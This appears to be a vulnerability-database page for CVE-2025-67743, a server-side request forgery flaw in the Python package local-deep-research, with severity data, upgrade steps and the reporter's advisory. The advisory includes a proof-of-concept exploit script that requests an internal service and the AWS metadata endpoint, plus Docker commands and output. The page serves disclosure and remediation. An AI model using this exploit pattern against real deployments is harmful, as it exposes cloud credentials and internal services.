CVE-2025-67743: Local deep research Local Deep Research Is Vulnerable Vulnerability

MODERATE
Advisory Identifier: GHSA-9c54-gxh7-ppjc
CVSS 6.3
CWE-918
Published
Advisory Summary

CVE-2025-67743 is a MODERATE (CVSS 6.3) local deep research is vulnerable vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Local deep research libraries in the PyPI ecosystem. The issue involves local deep research is vulnerable to server-side request forgery (ssrf) in download service. Remediation is available by upgrading affected packages to version 1.3.9.

CVE-2025-67743 at a Glance

CVE Identifier CVE-2025-67743
GHSA Identifier GHSA-9c54-gxh7-ppjc
Severity MODERATE
CVSS v3.1 Base Score 6.3
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Local deep research
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 6.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2025-67743

To remediate this vulnerability, upgrade all affected Local deep research dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

local-deep-research fixed: 1.3.9
pip install local-deep-research>=1.3.9
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show local-deep-research

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2025-67743, inspect your installed packages using pip:

pip show local-deep-research

Analyze the terminal output to locate any version of Local deep research in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.3.9), your application is affected.

Note: The pip show local-deep-research command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Local deep research, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The download service (`download_service.py`) makes HTTP requests using raw `requests.get()` without utilizing the application's SSRF protection (`safe_requests.py`). This can allow attackers to access internal services and attempt to reach cloud provider metadata endpoints (AWS/GCP/Azure), as well as perform internal network reconnaissance, by submitting malicious URLs through the API, depending on the deployment and surrounding controls. **CWE**: CWE-918 (Server-Side Request Forgery) --- ## Details ### Vulnerable Code Location **File**: `src/local_deep_research/research_library/services/download_service.py` The application has proper SSRF protection implemented in `security/safe_requests.py` and `security/ssrf_validator.py`, which blocks: - Loopback addresses (127.0.0.0/8) - Private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) - AWS metadata endpoint (169.254.169.254) - Link-local addresses However, `download_service.py` bypasses this protection by using raw `requests.get()` directly: ```python # Line 1038 - _download_generic method response = requests.get(url, headers=headers, timeout=30) # Line 1075 response = requests.get(api_url, timeout=10) # Line 1100 pdf_response = requests.get(pdf_url, headers=headers, timeout=30) # Line 1144 response = requests.get(europe_url, headers=headers, timeout=30) # Line 1187 api_response = requests.get(elink_url, params=params, timeout=10) # Line 1207 summary_response = requests.get(esummary_url, ...) # Line 1236 response = requests.get(europe_url, headers=headers, timeout=30) # Line 1276 response = requests.get(url, headers=headers, timeout=10) # Line 1298 response = requests.get(europe_url, headers=headers, timeout=30) ``` ### Attack Vector 1. Attacker submits a malicious URL via `POST /api/resources/<research_id>` 2. URL is stored in database without SSRF validation (`resource_service.py:add_resource()`) 3. Download is triggered via `/library/api/download/<resource_id>` 4. `download_service.py` fetches the URL using raw `requests.get()`, bypassing SSRF protection --- ## PoC ### Prerequisites - Docker and Docker Compose installed - Python 3.11+ ### Step 1: Create the Mock Internal Service **File: `internal_service.py`** ```python #!/usr/bin/env python3 """Mock internal service that simulates a sensitive internal endpoint.""" from http.server import HTTPServer, BaseHTTPRequestHandler import json class InternalServiceHandler(BaseHTTPRequestHandler): def log_message(self, format, *args): print(f"[INTERNAL SERVICE] {args[0]}") def do_GET(self): print(f"\n{'='*60}") print(f"[!] SSRF DETECTED - Internal service accessed!") print(f"[!] Path: {self.path}") print(f"{'='*60}\n") self.send_response(200) self.send_header("Content-Type", "application/json") self.end_headers() secret_data = { "status": "SSRF_SUCCESSFUL", "message": "You have accessed internal service via SSRF!", "internal_secrets": { "database_password": "super_secret_db_pass_123", "api_key": "sk-internal-api-key-xxxxx", "admin_token": "admin_bearer_token_yyyyy" } } self.wfile.write(json.dumps(secret_data, indent=2).encode()) if __name__ == "__main__": print("[*] Starting mock internal service on port 8080") server = HTTPServer(("0.0.0.0", 8080), InternalServiceHandler) server.serve_forever() ``` ### Step 2: Create the Exploit Script **File: `exploit.py`** ```python #!/usr/bin/env python3 """SSRF Vulnerability Active PoC""" import sys import requests sys.path.insert(0, '/app/src') def main(): print("=" * 70) print("SSRF Vulnerability PoC - Active Exploitation") print("=" * 70) internal_url = "http://ssrf-internal-service:8080/secret-data" aws_metadata_url = "http://169.254.169.254/latest/meta-data/" headers = {"User-Agent": "Mozilla/5.0"} # EXPLOIT 1: Access internal service print("\n[EXPLOIT 1] Accessing internal service via SSRF") print(f" Target: {internal_url}") try: # Same pattern as download_service.py line 1038 response = requests.get(internal_url, headers=headers, timeout=30) print(f" [!] SSRF SUCCESSFUL! Status: {response.status_code}") print(f" [!] Retrieved secrets:") for line in response.text.split('\n')[:15]: print(f" {line}") except Exception as e: print(f" [-] Failed: {e}") return 1 # EXPLOIT 2: AWS metadata bypass print("\n[EXPLOIT 2] AWS Metadata endpoint bypass") from local_deep_research.security.ssrf_validator import validate_url print(f" SSRF validator: {'ALLOWED' if validate_url(aws_metadata_url) else 'BLOCKED'}") print(f" But download_service.py BYPASSES the validator!") try: requests.get(aws_metadata_url, timeout=5) except requests.exceptions.ConnectionError: print(f" Request sent without SSRF validation!") print("\n" + "=" * 70) print("SSRF VULNERABILITY CONFIRMED") print("=" * 70) return 0 if __name__ == "__main__": sys.exit(main()) ``` ### Step 3: Run the PoC ```bash # Build and run with Docker docker network create ssrf-poc-net docker run -d --name ssrf-internal-service --network ssrf-poc-net python:3.11-slim sh -c "pip install -q && python internal_service.py" docker run --rm --network ssrf-poc-net -v ./src:/app/src ssrf-vulnerable-app python exploit.py ``` ### Expected Output ``` ====================================================================== SSRF Vulnerability PoC - Active Exploitation ====================================================================== [EXPLOIT 1] Accessing internal service via SSRF Target: http://ssrf-internal-service:8080/secret-data [!] SSRF SUCCESSFUL! Status: 200 [!] Retrieved secrets: { "status": "SSRF_SUCCESSFUL", "message": "You have accessed internal service via SSRF!", "internal_secrets": { "database_password": "super_secret_db_pass_123", "api_key": "sk-internal-api-key-xxxxx", "admin_token": "admin_bearer_token_yyyyy" } } [EXPLOIT 2] AWS Metadata endpoint bypass SSRF validator: BLOCKED But download_service.py BYPASSES the validator! Request sent without SSRF validation! ====================================================================== SSRF VULNERABILITY CONFIRMED ====================================================================== ``` --- ## Impact ### Who is affected? All users running local-deep-research in: - **Cloud environments** (AWS, GCP, Azure) - attackers can steal cloud credentials via metadata endpoints - **Corporate networks** - attackers can access internal services and databases - **Any deployment** - attackers can scan internal networks ### What can an attacker do? | Attack | Impact | |--------|--------| | Access cloud metadata | Potentially access IAM credentials, API keys, or instance identity in certain cloud configurations | | Internal service access | Read sensitive data from databases, Redis, admin panels | | Network reconnaissance | Map internal network topology and services | | Bypass firewalls | Access services not exposed to the internet | --- ## Recommended Fix Replace all `requests.get()` calls in `download_service.py` with `safe_get()` from `security/safe_requests.py`: ```diff # download_service.py + from ...security.safe_requests import safe_get def _download_generic(self, url, ...): - response = requests.get(url, headers=headers, timeout=30) + response = safe_get(url, headers=headers, timeout=30) ``` The `safe_get()` function already validates URLs against SSRF attacks before making requests. ### Files to update: - `src/local_deep_research/research_library/services/download_service.py` (9 occurrences) - `src/local_deep_research/research_library/downloaders/base.py` (uses `requests.Session`) --- ## References - [CWE-918: Server-Side Request Forgery (SSRF)](https://cwe.mitre.org/data/definitions/918.html) - [OWASP SSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html) - [AWS SSRF Attacks and IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html) - [PortSwigger: SSRF](https://portswigger.net/web-security/ssrf) --- Thank you for your work on this project! I'm happy to provide any additional information or help with testing the fix.

CVE-2025-67743 Affected Local deep research Versions

1 component(s)
Fixed Versions:
1.3.9
Product / Package Ecosystem Affected Versions Fixed Version
local-deep-research
PyPI
≥ 1.3.0
< 1.3.9
1.3.9

References

Frequently Asked Questions

What is CVE-2025-67743?
CVE-2025-67743 is a security vulnerability in Local deep research involving Local Deep Research is Vulnerable to Server-Side Request Forgery (SSRF) in Download Service under CWE-918: Server-Side Request Forgery (SSRF).
Which Local deep research versions are affected?
Affected versions include releases prior to 1.3.9 across affected packages: local-deep-research.
What version fixes CVE-2025-67743?
Upgrading to 1.3.9 (or the latest patched release for your respective branch) resolves the vulnerability.
Is local-deep-research affected?
Yes, local-deep-research is affected in releases prior to 1.3.9. Upgrade your dependency to 1.3.9 or later.
What is the CVSS score of CVE-2025-67743?
CVE-2025-67743 has a CVSS v3.1 base score of 6.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N.
What CWE is associated with CVE-2025-67743?
CVE-2025-67743 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check PyPI dependencies for CVE-2025-67743?
Run the dependency tree command: 'pip show local-deep-research'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9c54-gxh7-ppjc",
  "modified" : "2025-12-23T18:17:27Z",
  "published" : "2025-12-23T18:17:27Z",
  "aliases" : [ "CVE-2025-67743" ],
  "summary" : "Local Deep Research is Vulnerable to Server-Side Request Forgery (SSRF) in Download Service",
  "details" : "## Summary\n\nThe download service (`download_service.py`) makes HTTP requests using raw `requests.get()` without utilizing the application's SSRF protection (`safe_requests.py`). This can allow attackers to access internal services and attempt to reach cloud provider metadata endpoints (AWS/GCP/Azure), as well as perform internal network reconnaissance, by submitting malicious URLs through the API, depending on the deployment and surrounding controls.\n\n**CWE**: CWE-918 (Server-Side Request Forgery)\n\n---\n\n## Details\n\n### Vulnerable Code Location\n\n**File**: `src/local_deep_research/research_library/services/download_service.py`\n\nThe application has proper SSRF protection implemented in `security/safe_requests.py` and `security/ssrf_validator.py`, which blocks:\n- Loopback addresses (127.0.0.0/8)\n- Private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)\n- AWS metadata endpoint (169.254.169.254)\n- Link-local addresses\n\nHowever, `download_service.py` bypasses this protection by using raw `requests.get()` directly:\n\n```python\n# Line 1038 - _download_generic method\nresponse = requests.get(url, headers=headers, timeout=30)\n\n# Line 1075\nresponse = requests.get(api_url, timeout=10)\n\n# Line 1100\npdf_response = requests.get(pdf_url, headers=headers, timeout=30)\n\n# Line 1144\nresponse = requests.get(europe_url, headers=headers, timeout=30)\n\n# Line 1187\napi_response = requests.get(elink_url, params=params, timeout=10)\n\n# Line 1207\nsummary_response = requests.get(esummary_url, ...)\n\n# Line 1236\nresponse = requests.get(europe_url, headers=headers, timeout=30)\n\n# Line 1276\nresponse = requests.get(url, headers=headers, timeout=10)\n\n# Line 1298\nresponse = requests.get(europe_url, headers=headers, timeout=30)\n```\n\n### Attack Vector\n\n1. Attacker submits a malicious URL via `POST /api/resources/<research_id>`\n2. URL is stored in database without SSRF validation (`resource_service.py:add_resource()`)\n3. Download is triggered via `/library/api/download/<resource_id>`\n4. `download_service.py` fetches the URL using raw `requests.get()`, bypassing SSRF protection\n\n---\n\n## PoC\n\n### Prerequisites\n\n- Docker and Docker Compose installed\n- Python 3.11+\n\n### Step 1: Create the Mock Internal Service\n\n**File: `internal_service.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Mock internal service that simulates a sensitive internal endpoint.\"\"\"\n\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nimport json\n\nclass InternalServiceHandler(BaseHTTPRequestHandler):\n    def log_message(self, format, *args):\n        print(f\"[INTERNAL SERVICE] {args[0]}\")\n    \n    def do_GET(self):\n        print(f\"\\n{'='*60}\")\n        print(f\"[!] SSRF DETECTED - Internal service accessed!\")\n        print(f\"[!] Path: {self.path}\")\n        print(f\"{'='*60}\\n\")\n        \n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/json\")\n        self.end_headers()\n        \n        secret_data = {\n            \"status\": \"SSRF_SUCCESSFUL\",\n            \"message\": \"You have accessed internal service via SSRF!\",\n            \"internal_secrets\": {\n                \"database_password\": \"super_secret_db_pass_123\",\n                \"api_key\": \"sk-internal-api-key-xxxxx\",\n                \"admin_token\": \"admin_bearer_token_yyyyy\"\n            }\n        }\n        self.wfile.write(json.dumps(secret_data, indent=2).encode())\n\nif __name__ == \"__main__\":\n    print(\"[*] Starting mock internal service on port 8080\")\n    server = HTTPServer((\"0.0.0.0\", 8080), InternalServiceHandler)\n    server.serve_forever()\n```\n\n### Step 2: Create the Exploit Script\n\n**File: `exploit.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"SSRF Vulnerability Active PoC\"\"\"\n\nimport sys\nimport requests\n\nsys.path.insert(0, '/app/src')\n\ndef main():\n    print(\"=\" * 70)\n    print(\"SSRF Vulnerability PoC - Active Exploitation\")\n    print(\"=\" * 70)\n    \n    internal_url = \"http://ssrf-internal-service:8080/secret-data\"\n    aws_metadata_url = \"http://169.254.169.254/latest/meta-data/\"\n    headers = {\"User-Agent\": \"Mozilla/5.0\"}\n    \n    # EXPLOIT 1: Access internal service\n    print(\"\\n[EXPLOIT 1] Accessing internal service via SSRF\")\n    print(f\"    Target: {internal_url}\")\n    \n    try:\n        # Same pattern as download_service.py line 1038\n        response = requests.get(internal_url, headers=headers, timeout=30)\n        print(f\"    [!] SSRF SUCCESSFUL! Status: {response.status_code}\")\n        print(f\"    [!] Retrieved secrets:\")\n        for line in response.text.split('\\n')[:15]:\n            print(f\"        {line}\")\n    except Exception as e:\n        print(f\"    [-] Failed: {e}\")\n        return 1\n    \n    # EXPLOIT 2: AWS metadata bypass\n    print(\"\\n[EXPLOIT 2] AWS Metadata endpoint bypass\")\n    from local_deep_research.security.ssrf_validator import validate_url\n    print(f\"    SSRF validator: {'ALLOWED' if validate_url(aws_metadata_url) else 'BLOCKED'}\")\n    print(f\"    But download_service.py BYPASSES the validator!\")\n    \n    try:\n        requests.get(aws_metadata_url, timeout=5)\n    except requests.exceptions.ConnectionError:\n        print(f\"    Request sent without SSRF validation!\")\n    \n    print(\"\\n\" + \"=\" * 70)\n    print(\"SSRF VULNERABILITY CONFIRMED\")\n    print(\"=\" * 70)\n    return 0\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```\n\n### Step 3: Run the PoC\n\n```bash\n# Build and run with Docker\ndocker network create ssrf-poc-net\ndocker run -d --name ssrf-internal-service --network ssrf-poc-net python:3.11-slim sh -c \"pip install -q && python internal_service.py\"\ndocker run --rm --network ssrf-poc-net -v ./src:/app/src ssrf-vulnerable-app python exploit.py\n```\n\n### Expected Output\n\n```\n======================================================================\nSSRF Vulnerability PoC - Active Exploitation\n======================================================================\n\n[EXPLOIT 1] Accessing internal service via SSRF\n    Target: http://ssrf-internal-service:8080/secret-data\n    [!] SSRF SUCCESSFUL! Status: 200\n    [!] Retrieved secrets:\n        {\n          \"status\": \"SSRF_SUCCESSFUL\",\n          \"message\": \"You have accessed internal service via SSRF!\",\n          \"internal_secrets\": {\n            \"database_password\": \"super_secret_db_pass_123\",\n            \"api_key\": \"sk-internal-api-key-xxxxx\",\n            \"admin_token\": \"admin_bearer_token_yyyyy\"\n          }\n        }\n\n[EXPLOIT 2] AWS Metadata endpoint bypass\n    SSRF validator: BLOCKED\n    But download_service.py BYPASSES the validator!\n    Request sent without SSRF validation!\n\n======================================================================\nSSRF VULNERABILITY CONFIRMED\n======================================================================\n```\n\n---\n\n## Impact\n\n### Who is affected?\n\nAll users running local-deep-research in:\n- **Cloud environments** (AWS, GCP, Azure) - attackers can steal cloud credentials via metadata endpoints\n- **Corporate networks** - attackers can access internal services and databases\n- **Any deployment** - attackers can scan internal networks\n\n### What can an attacker do?\n\n| Attack | Impact |\n|--------|--------|\n| Access cloud metadata | Potentially access IAM credentials, API keys, or instance identity in certain cloud configurations |\n| Internal service access | Read sensitive data from databases, Redis, admin panels |\n| Network reconnaissance | Map internal network topology and services |\n| Bypass firewalls | Access services not exposed to the internet |\n\n---\n\n## Recommended Fix\n\nReplace all `requests.get()` calls in `download_service.py` with `safe_get()` from `security/safe_requests.py`:\n\n```diff\n# download_service.py\n\n+ from ...security.safe_requests import safe_get\n\n  def _download_generic(self, url, ...):\n-     response = requests.get(url, headers=headers, timeout=30)\n+     response = safe_get(url, headers=headers, timeout=30)\n```\n\nThe `safe_get()` function already validates URLs against SSRF attacks before making requests.\n\n### Files to update:\n- `src/local_deep_research/research_library/services/download_service.py` (9 occurrences)\n- `src/local_deep_research/research_library/downloaders/base.py` (uses `requests.Session`)\n\n---\n\n## References\n\n- [CWE-918: Server-Side Request Forgery (SSRF)](https://cwe.mitre.org/data/definitions/918.html)\n- [OWASP SSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n- [AWS SSRF Attacks and IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)\n- [PortSwigger: SSRF](https://portswigger.net/web-security/ssrf)\n\n---\n\nThank you for your work on this project! I'm happy to provide any additional information or help with testing the fix.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "local-deep-research"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.3.0"
      }, {
        "fixed" : "1.3.9"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/LearningCircuit/local-deep-research/security/advisories/GHSA-9c54-gxh7-ppjc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-67743"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/LearningCircuit/local-deep-research/commit/b79089ff30c5d9ae77e6b903c408e1c26ad5c055"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/LearningCircuit/local-deep-research"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-12-23T18:17:27Z",
    "nvd_published_at" : "2025-12-23T01:15:43Z"
  }
}